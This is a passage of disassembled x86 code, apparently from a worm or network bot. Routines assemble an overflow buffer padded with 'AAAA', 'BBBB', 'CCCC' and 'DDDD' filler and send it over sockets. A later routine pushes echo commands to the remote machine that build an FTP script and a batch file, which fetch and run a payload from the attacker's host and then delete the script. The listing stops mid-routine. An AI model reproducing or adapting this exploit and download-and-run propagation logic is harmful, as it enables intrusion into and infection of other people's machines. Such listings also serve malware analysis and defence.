		mov	ecx, [esp+18h+var_4]
		mov	eax, [ebx+4]
		add	esp, 4
		add	eax, ecx
		mov	[ebx], ebp
		mov	[ebx+4], eax
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		pop	ecx
		retn
sub_4245E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4246D0	proc near		; CODE XREF: sub_401B7Cj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, ecx
		mov	eax, [ebp+4]
		mov	ecx, [ebp+0]
		push	eax
		push	ecx
		push	1
		push	offset dword_448F34
		lea	ecx, [esp+20h+var_8]
		call	sub_4021F8
		lea	ecx, [esp+10h+var_8]
		call	sub_4010A0
		mov	edx, [esp+10h+var_4]
		inc	edx
		push	edx
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424715
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424715:				; CODE XREF: sub_4246D0+3Bj
		mov	eax, [esp+10h+var_4]
		push	esi
		push	edi
		mov	edi, ebx
		lea	ecx, [eax+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	byte ptr [ebx],	3
		mov	ecx, [esp+18h+var_4]
		mov	esi, [esp+18h+var_8]
		mov	eax, ecx
		lea	edi, [ebx+1]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebp
		call	sub_4016C2
		mov	ecx, [esp+18h+var_4]
		mov	[ebp+0], ebx
		inc	ecx
		mov	[ebp+4], ecx
		lea	ecx, [esp+18h+var_8]
		call	sub_4016C2
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 8
		retn
sub_4246D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4247B0	proc near		; CODE XREF: sub_4012C6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021F8
		mov	ecx, esi
		call	sub_4016C2
		mov	ecx, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_4]
		mov	[esi], ecx
		mov	[esi+4], edx
		mov	al, 1
		pop	esi
		add	esp, 8
		retn	8
sub_4247B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424800	proc near		; CODE XREF: sub_402054j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	edx, ecx
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	esi
		mov	ecx, edx
		call	sub_4012C6
		pop	edi
		pop	esi
		retn	4
sub_424800	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424840	proc near		; CODE XREF: sub_401505j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	eax
		push	edx
		call	sub_4012C6
		retn	8
sub_424840	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424870	proc near		; CODE XREF: sub_4017D5j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		call	sub_4010A0
		test	al, al
		jnz	short loc_424884
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424884:				; CODE XREF: sub_424870+Dj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	eax
		push	ecx
		push	1
		push	offset dword_445C04
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021F8
		mov	ecx, esi
		call	sub_4016C2
		mov	edx, [esp+0Ch+var_8]
		mov	eax, [esp+0Ch+var_4]
		mov	[esi], edx
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		add	esp, 8
		retn
sub_424870	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4248E0	proc near		; CODE XREF: sub_401EC9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401505
		test	al, al
		jnz	short loc_4248FC
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_4248FC:				; CODE XREF: sub_4248E0+16j
		mov	ecx, esi
		call	sub_4017D5
		pop	esi
		retn	8
sub_4248E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424920	proc near		; CODE XREF: sub_401BFEj

var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 858h
		lea	ecx, [esp+858h+var_818]
		push	ebx
		push	esi
		call	sub_4012A8
		mov	esi, [esp+860h+arg_8]
		cmp	esi, 408h
		jg	loc_424CF5
		mov	ebx, [esp+860h+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, 408h
		ja	loc_424CF5
		push	edi
		lea	ecx, [esp+864h+var_830]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_840]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_810]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_848]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_820]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_828]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_838]
		call	sub_4012A8
		push	4
		push	offset dword_4458A0
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		push	3
		push	offset dword_4458A8
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_830]
		call	sub_401B7C
		lea	ecx, [esp+864h+var_830]
		call	sub_4017D5
		mov	ecx, 200h
		mov	eax, 42424242h
		lea	edi, [esp+864h+var_800]
		push	8
		rep stosd
		push	offset aRbrbrbrb ; "BBBB"
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_C]
		push	ebx
		push	ecx
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ebx, [esp+864h+var_83C]
		mov	edx, 409h
		sub	edx, ebx
		lea	eax, [esp+864h+var_800]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_840]
		call	sub_401B7C
		push	offset loc_445C28
		lea	ecx, [esp+868h+var_810]
		call	sub_402054
		lea	ecx, [esp+864h+var_810]
		call	sub_401B7C
		mov	ecx, 200h
		mov	eax, 44444444h
		lea	edi, [esp+864h+var_800]
		push	410h
		rep stosd
		lea	ecx, [esp+868h+var_800]
		push	ecx
		lea	ecx, [esp+86Ch+var_808]
		call	sub_401843
		lea	ecx, [esp+864h+var_808]
		call	sub_401B7C
		mov	edx, [esp+864h+var_804]
		mov	eax, [esp+864h+var_808]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_810]
		call	sub_401EC9
		lea	ecx, [esp+864h+var_808]
		call	sub_4016C2
		mov	ecx, 200h
		mov	eax, 43434343h
		lea	edi, [esp+864h+var_800]
		push	offset aCccc	; "CCCC"
		rep stosd
		lea	ecx, [esp+868h+var_848]
		call	sub_402054
		push	4
		push	offset dword_4458AC
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_4]
		push	esi
		push	ecx
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	edx, 408h
		lea	eax, [esp+864h+var_800]
		sub	edx, esi
		lea	ecx, [esp+864h+var_848]
		push	edx
		push	eax
		call	sub_4012C6
		lea	ecx, [esp+864h+var_848]
		call	sub_401B7C
		mov	ecx, [esp+864h+var_844]
		mov	edx, [esp+864h+var_848]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_401505
		mov	eax, [esp+864h+var_80C]
		mov	ecx, [esp+864h+var_810]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_401505
		lea	ecx, [esp+864h+var_820]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_848]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_810]
		call	sub_4016C2
		mov	edx, [esp+864h+var_83C]
		mov	eax, [esp+864h+var_840]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		mov	ecx, [esp+864h+var_82C]
		mov	edx, [esp+864h+var_830]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		mov	eax, [esp+864h+var_81C]
		mov	ecx, [esp+864h+var_820]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		lea	ecx, [esp+864h+var_828]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_840]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_830]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_820]
		call	sub_4016C2
		mov	ecx, 200h
		mov	eax, 41414141h
		lea	edi, [esp+864h+var_800]
		lea	edx, [esp+864h+var_800]
		rep stosd
		push	400h
		push	edx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_838]
		call	sub_401B7C
		push	2
		push	offset dword_445C1C
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		mov	eax, [esp+864h+var_824]
		mov	ecx, [esp+864h+var_828]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_401505
		lea	ecx, [esp+864h+var_838]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_828]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_850]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_858]
		call	sub_4012A8
		mov	edx, [esp+864h+var_834]
		mov	eax, [esp+864h+var_838]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_850]
		call	sub_401505
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_838]
		call	sub_4016C2
		push	offset dword_445C18
		lea	ecx, [esp+868h+var_858]
		call	sub_402054
		mov	ecx, [esp+864h+var_84C]
		mov	edx, [esp+864h+var_850]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_858]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016C2
		push	offset dword_444E60
		lea	ecx, [esp+868h+var_850]
		call	sub_402054
		mov	eax, [esp+864h+var_854]
		mov	ecx, [esp+864h+var_858]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_850]
		call	sub_401505
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_858]
		call	sub_4016C2
		push	offset dword_445C0C
		lea	ecx, [esp+868h+var_858]
		call	sub_402054
		mov	edx, [esp+864h+var_84C]
		mov	eax, [esp+864h+var_850]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_858]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016C2
		push	offset dword_445C08
		lea	ecx, [esp+868h+var_818]
		call	sub_402054
		mov	ecx, [esp+864h+var_854]
		mov	edx, [esp+864h+var_858]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_818]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4016C2
		mov	eax, [esp+864h+arg_0]
		mov	ecx, [esp+864h+var_818]
		mov	edx, [esp+864h+var_814]
		pop	edi
		mov	[eax], ecx
		pop	esi
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
; ---------------------------------------------------------------------------


loc_424CF5:				; CODE XREF: sub_424920+1Ej
					; sub_424920+33j
		mov	eax, [esp+860h+arg_0]
		mov	ecx, [esp+860h+var_818]
		mov	edx, [esp+860h+var_814]
		pop	esi
		mov	[eax], ecx
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
sub_424920	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E20	proc near		; CODE XREF: sub_401AC8j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 210h
		push	esi
		mov	esi, [esp+214h+arg_0]
		lea	eax, [esp+214h+var_210]
		lea	ecx, [esp+214h+var_104]
		push	eax
		push	ecx
		lea	edx, [esp+21Ch+var_208]
		push	0
		lea	eax, [esi+1]
		push	edx
		push	eax
		mov	[esp+228h+var_204], esi
		mov	[esp+228h+var_208], 1
		mov	[esp+228h+var_100], esi
		mov	[esp+228h+var_104], 1
		mov	[esp+228h+var_210], 0Ah
		mov	[esp+228h+var_20C], 0
		nop
		call	near ptr 71AB2DC0h
		cmp	eax, 1
		jz	short loc_424E89
		xor	eax, eax
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424E89:				; CODE XREF: sub_424E20+5Dj
		lea	ecx, [esp+214h+var_208]
		push	ecx
		push	esi
		call	sub_438256
sub_424E20	endp

; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_424EA0
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424EA0:				; CODE XREF: ___:00424E96j
		mov	edx, [esp+224h]
		mov	eax, [esp+220h]
		mov	ecx, [esp+21Ch]
		push	edx
		push	eax
		push	ecx
		push	esi
		call	near ptr 71AB615Ah
		nop
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424F00	proc near		; CODE XREF: sub_4012F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		push	edi
		push	esi
		call	near ptr 71AB2BC0h
		nop
		mov	edi, [esp+0Ch+arg_0]
		mov	ebx, dword_511CA0
		mov	[esp+0Ch+arg_8], eax
		push	0
		lea	eax, [esp+10h+arg_8]
		push	4
		push	eax
		push	edi
		call	ebx	; send
		cmp	eax, 4
		jz	short loc_424F33
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424F33:				; CODE XREF: sub_424F00+2Bj
		mov	ecx, [esp+0Ch+arg_4]
		push	0
		push	esi
		push	ecx
		push	edi
		call	ebx	; send
		xor	edx, edx
		cmp	eax, esi
		setz	dl
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		retn
sub_424F00	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424F70	proc near		; CODE XREF: sub_4012F8j

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 104h
		push	ebx
		push	ebp
		mov	ebp, [esp+10Ch+arg_8]
		push	esi
		lea	esi, [ebp+41h]
		push	esi
		mov	[esp+114h+var_104], esi
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424FA3
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424FA3:				; CODE XREF: sub_424F70+25j
		mov	ecx, esi
		push	edi
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		mov	esi, offset dword_44593C
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	85h
		and	ecx, 3
		push	offset dword_4458B4
		rep stosb
		mov	ecx, 0Bh
		mov	edi, ebx
		rep movsd
		movsw
		movsb
		mov	[ebx+2Fh], bp
		mov	eax, dword_44596C
		mov	[ebx+31h], eax
		mov	ecx, dword_445970
		mov	esi, [esp+11Ch+arg_4]
		mov	[ebx+35h], ecx
		mov	ecx, ebp
		lea	eax, [ebx+3Bh]
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		mov	[ebx+39h], bp
		add	eax, ebp
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, dword_510100
		mov	esi, [esp+11Ch+arg_0]
		mov	[eax], ecx
		mov	dx, word_510104
		push	esi
		mov	[eax+4], dx
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		pop	edi
		jnz	short loc_425048
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_425048:				; CODE XREF: sub_424F70+C0j
		push	0
		lea	eax, [esp+114h+var_100]
		push	100h
		push	eax
		push	esi
		call	sub_401AC8
		mov	ecx, [esp+120h+var_104]
		push	ecx
		push	ebx
		push	esi
		call	sub_4012F3
		add	esp, 1Ch
		test	al, al
		jnz	short loc_425083
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_425083:				; CODE XREF: sub_424F70+FBj
		push	0
		lea	edx, [esp+114h+var_100]
		push	100h
		push	edx
		push	esi
		call	sub_401AC8
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 14h
		mov	al, 1
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
sub_424F70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425100	proc near		; CODE XREF: sub_401820j

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= word ptr -418h
var_416		= dword	ptr -416h
var_412		= dword	ptr -412h
var_40E		= dword	ptr -40Eh
var_40A		= word ptr -40Ah
var_408		= dword	ptr -408h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
var_371		= byte ptr -371h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_9E		= dword	ptr  0A2h

		sub	esp, 420h
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [esp+42Ch+var_3FF]
		rep stosd
		stosw
		stosb
		mov	ecx, 23h
		mov	esi, offset sub_445AE0
		lea	edi, [esp+42Ch+var_400]
		rep movsd
		movsw
		mov	ecx, offset byte_449511
		movsb
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_449511
		call	sub_4017EE
		mov	ecx, [esp+430h+arg_0]
		push	eax
		mov	eax, dword_44964F
		push	eax
		push	ecx
		call	sub_401E10
		add	esp, 4
		lea	edx, [esp+438h+var_371]
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		push	400h
		push	edx
		call	near ptr 77C3FA76h
		nop
		add	eax, 90h
		lea	ecx, [esp+448h+var_408]
		push	eax
		lea	eax, [esp+44Ch+var_400]
		push	eax
		push	164h
		push	offset sub_445978
		push	ecx
		call	sub_401BFE
		mov	edx, [eax]
		xor	edi, edi
		mov	[esp+45Ch+var_420], edx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, edi
		mov	[esp+42Ch+var_41C], eax
		jnz	short loc_4251B2
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 420h
		retn
; ---------------------------------------------------------------------------


loc_4251B2:				; CODE XREF: sub_425100+A4j
		mov	ebp, dword_511C38
		mov	[esp+42Ch+var_408], edi


loc_4251BC:				; CODE XREF: sub_425100+161j
		test	edi, edi
		jnz	loc_425267
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42524A
		mov	ecx, [esp+42Ch+arg_9E]
		xor	eax, eax
		mov	[esp+42Ch+var_416], eax
		push	ecx
		mov	[esp+430h+var_412], eax
		mov	[esp+430h+var_418], 2
		mov	[esp+430h+var_40E], eax
		mov	[esp+430h+var_40A], ax
		call	ebp	; ntohs
		lea	edx, [esp+42Ch+arg_4]
		mov	word ptr [esp+42Ch+var_416], ax
		push	edx
		nop
		call	near ptr 71AB2BF4h
		mov	[esp+42Ch+var_416+2], eax
		lea	eax, [esp+42Ch+var_418]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42523F
		mov	ecx, [esp+42Ch+var_41C]
		mov	edx, [esp+42Ch+var_420]
		push	ecx
		push	edx
		push	esi
		call	sub_4012F8
		add	esp, 0Ch
		and	eax, 0FFh
		mov	edi, eax


loc_42523F:				; CODE XREF: sub_425100+123j
		push	esi
		nop
		call	near ptr 71AB9639h
		test	edi, edi
		jnz	short loc_425255


loc_42524A:				; CODE XREF: sub_425100+D5j
		push	3E8h
		call	near ptr 2850369h
		nop


loc_425255:				; CODE XREF: sub_425100+148j
		mov	eax, [esp+42Ch+var_408]
		inc	eax
		cmp	eax, 2
		mov	[esp+42Ch+var_408], eax
		jl	loc_4251BC


loc_425267:				; CODE XREF: sub_425100+BEj
		lea	ecx, [esp+42Ch+var_420]
		call	sub_4016C2
		test	edi, edi
		jz	short loc_425297
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+4E8h+arg_0]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_425297:				; CODE XREF: sub_425100+172j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		add	esp, 420h
		retn
sub_425100	endp

; ---------------------------------------------------------------------------
aRrrrrrrrrr	db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜι',1Bh,0
		align 4
		dd 90909000h, 2	dup(90909090h),	4 dup(0CCCCCCCCh), 0BB8068h
		dd 2EE06800h, 77E80000h, 83FFFDCEh, 8A308C4h, 0C3005101h
		dd 2 dup(90909090h), 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_425370	proc near		; CODE XREF: sub_4013D4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		push	0C8h
		nop
		call	near ptr 2850369h
		mov	edx, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		mov	eax, [esp+4+arg_0]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		pop	edi
		setnz	al
		retn
sub_425370	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4253C0	proc near		; CODE XREF: sub_4013BBj

var_434		= byte ptr -434h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4253C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 428h
		xor	eax, eax
		push	ebx
		mov	[esp+438h+var_41C], eax
		push	esi
		mov	[esp+43Ch+var_418], eax
		lea	ecx, [esp+43Ch+arg_4]
		push	edi
		mov	[esp+440h+var_414], eax
		push	ecx
		mov	[esp+444h+var_410], eax
		mov	word ptr [esp+444h+var_41C], 2
		nop
		call	near ptr 71AB2BF4h
		mov	dx, word_510108
		mov	[esp+440h+var_418], eax
		push	edx
		call	near ptr 71AB2B66h
		nop
		push	0
		push	1
		push	2
		mov	word ptr [esp+44Ch+var_41C+2], ax
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		or	ebx, 0FFFFFFFFh
		cmp	esi, ebx
		jz	loc_4256BE
		lea	eax, [esp+440h+var_41C]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_4256BE
		mov	edi, dword_511CA4
		push	0
		lea	ecx, [esp+444h+var_40C]
		push	400h
		push	ecx
		push	esi
		call	edi	; recv
		lea	ecx, [esp+440h+var_434]
		call	sub_40142E
		mov	edx, dword_44964F
		mov	eax, [esp+440h+arg_0]
		push	edx
		push	eax
		mov	[esp+448h+var_4], 0
		call	sub_401E10
		add	esp, 4
		lea	ecx, [esp+444h+var_434]
		push	eax
		push	offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEchoBinary_pif ; "echo binary>>.pif \r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+444h+var_434]
		push	offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n"
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoBye_pif ; "echo bye>>.pif \r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	ecx, [esp+440h+var_434]
		push	offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		lea	edx, [esp+444h+var_434]
		push	offset aEchoSC_bat ; "echo %s >>c.bat\r\n"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEchoDel_pifC_b ; "echo del .pif	>>c.bat\r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
